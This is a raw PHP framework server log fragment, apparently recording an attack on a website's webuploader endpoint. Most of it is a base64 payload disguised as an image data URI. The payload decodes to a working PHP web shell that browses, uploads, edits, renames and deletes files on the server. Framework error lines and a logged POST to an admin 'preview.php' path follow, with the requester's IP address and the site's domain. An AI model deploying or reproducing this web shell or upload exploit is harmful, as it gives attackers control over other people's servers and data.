'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'lib' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:33:02+08:00 ] 116.213.36.234 POST www.51tianwei.com/admin/lib/webuploader/0.1.15/server/preview.php [运行时间:0.002527s] [吞吐率:395.73req/s] [内存消耗:196.80kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'admin', 2 => 'lib', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 